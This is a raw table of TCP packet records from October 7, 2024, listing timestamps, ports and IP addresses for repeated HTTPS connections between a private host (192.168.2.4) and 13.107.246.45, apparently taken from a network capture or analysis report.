Oct 7, 2024 03:16:21.268295050 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.269299030 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.269315004 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.270117044 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.270123005 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.314574957 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.315403938 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.315434933 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.315941095 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.315948009 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.317996025 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.318360090 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.318434000 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.318525076 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.318525076 CEST	49901	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.318546057 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.318556070 CEST	443	49901	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.322033882 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.322084904 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.322179079 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.322403908 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.322423935 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.337733984 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.338320017 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.338337898 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.338816881 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.338824987 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.367518902 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.367538929 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.367693901 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.367697001 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.367774963 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.368220091 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.368237972 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.368305922 CEST	49902	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.368313074 CEST	443	49902	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.371398926 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.371447086 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.371531963 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.371678114 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.371695995 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.414804935 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.414975882 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.415018082 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.415093899 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.415229082 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.415241003 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.415257931 CEST	49903	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.415265083 CEST	443	49903	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.418320894 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.418368101 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.418443918 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.418596983 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.418612003 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.438076973 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.438133955 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.438189983 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.438261032 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.438350916 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.438369036 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.438385010 CEST	49904	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.438390970 CEST	443	49904	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.440999031 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.441096067 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.441267014 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.441423893 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.441454887 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.675174952 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.678940058 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.678966999 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.679446936 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.679452896 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.776268959 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.776352882 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.776596069 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.776650906 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.776674986 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.776693106 CEST	49905	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.776700974 CEST	443	49905	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.779902935 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.780000925 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.782643080 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.782784939 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.782834053 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.956454039 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.957096100 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.957110882 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:21.957607031 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:21.957612991 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.031866074 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.032479048 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.032505035 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.033433914 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.033440113 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.051616907 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.052028894 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.052089930 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.052437067 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.052453995 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.054603100 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.054678917 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.054827929 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.054974079 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.054991007 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.055005074 CEST	49906	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.055011988 CEST	443	49906	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.058142900 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.058223009 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.058347940 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.058542013 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.058574915 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.084287882 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.085563898 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.085628033 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.086146116 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.086162090 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.135272980 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.135454893 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.135638952 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.135668039 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.135683060 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.135701895 CEST	49907	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.135706902 CEST	443	49907	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.139344931 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.139385939 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.139481068 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.139652967 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.139667034 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.150719881 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.150820971 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.150866032 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.150947094 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.151026011 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.151026011 CEST	49908	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.151070118 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.151098013 CEST	443	49908	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.153229952 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.153274059 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.153356075 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.153517008 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.153536081 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.183126926 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.183295012 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.183433056 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.183480978 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.183480978 CEST	49909	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.183505058 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.183511019 CEST	443	49909	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.186121941 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.186136007 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.186223984 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.186402082 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.186415911 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.422370911 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.422971964 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.422996998 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.423510075 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.423518896 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.522140980 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.522175074 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.522222042 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.522304058 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.522378922 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.522680044 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.522728920 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.522758961 CEST	49910	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.522774935 CEST	443	49910	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.525762081 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.525805950 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.525892019 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.526063919 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.526083946 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.741674900 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.742307901 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.742372990 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.742835999 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.742851973 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.784526110 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.792721033 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.792736053 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.793504000 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.793513060 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.820513010 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.824788094 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.824821949 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.825412035 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.825418949 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.833786011 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.835403919 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.835412025 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.835946083 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.835952044 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.846555948 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.846662045 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.846748114 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.847148895 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.847148895 CEST	49911	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.847186089 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.847269058 CEST	443	49911	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.850265980 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.850305080 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.850403070 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.850527048 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.850543022 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.888370037 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.888447046 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.888551950 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.888569117 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.888751984 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.888899088 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.888899088 CEST	49912	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.888916969 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.888926983 CEST	443	49912	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.891896009 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.891942024 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.892031908 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.892185926 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.892203093 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.919943094 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.920110941 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.920284986 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.920358896 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.920371056 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.920384884 CEST	49914	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.920391083 CEST	443	49914	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.922712088 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.922736883 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.922816992 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.922954082 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.922969103 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.938649893 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.939064026 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.939147949 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.939424038 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.939424038 CEST	49913	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.939438105 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.939450979 CEST	443	49913	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.941257954 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.941292048 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:22.941365957 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.941473961 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:22.941487074 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.202960968 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.203604937 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.203620911 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.204082012 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.204091072 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.308151960 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.308202982 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.308388948 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.308567047 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.308567047 CEST	49915	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.308593035 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.308603048 CEST	443	49915	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.311538935 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.311598063 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.311691046 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.311826944 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.311842918 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.495194912 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.495779991 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.495800018 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.496284962 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.496292114 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.536284924 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.537019968 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.537095070 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.537317038 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.537326097 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.597238064 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.597489119 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.597558022 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.597583055 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.597601891 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.597614050 CEST	49916	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.597619057 CEST	443	49916	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.600486994 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.600528002 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.600656033 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.601223946 CEST	49921	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.601242065 CEST	443	49921	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.604641914 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.604994059 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.605007887 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.605427027 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.605432987 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.619302988 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.619606018 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.619616985 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.620023012 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.620027065 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.635193110 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.635343075 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.635404110 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.635436058 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.635454893 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.635468006 CEST	49917	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.635474920 CEST	443	49917	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.638422966 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.638464928 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.638531923 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.638662100 CEST	49922	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.638679028 CEST	443	49922	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.710618973 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.710664034 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.710725069 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.710769892 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.710810900 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.711108923 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.711124897 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.711136103 CEST	49918	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.711142063 CEST	443	49918	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.714584112 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.714612961 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.715004921 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.715187073 CEST	49923	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.715198040 CEST	443	49923	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.725178003 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.725251913 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.725323915 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.725425005 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.725440025 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.725450039 CEST	49919	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.725455999 CEST	443	49919	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.727607012 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.727643013 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.727710962 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.727868080 CEST	49924	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.727883101 CEST	443	49924	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.952158928 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.952814102 CEST	49920	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:23.952821016 CEST	443	49920	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:23.953382969 CEST	49920	443	192.168.2.4	13.107.246.45
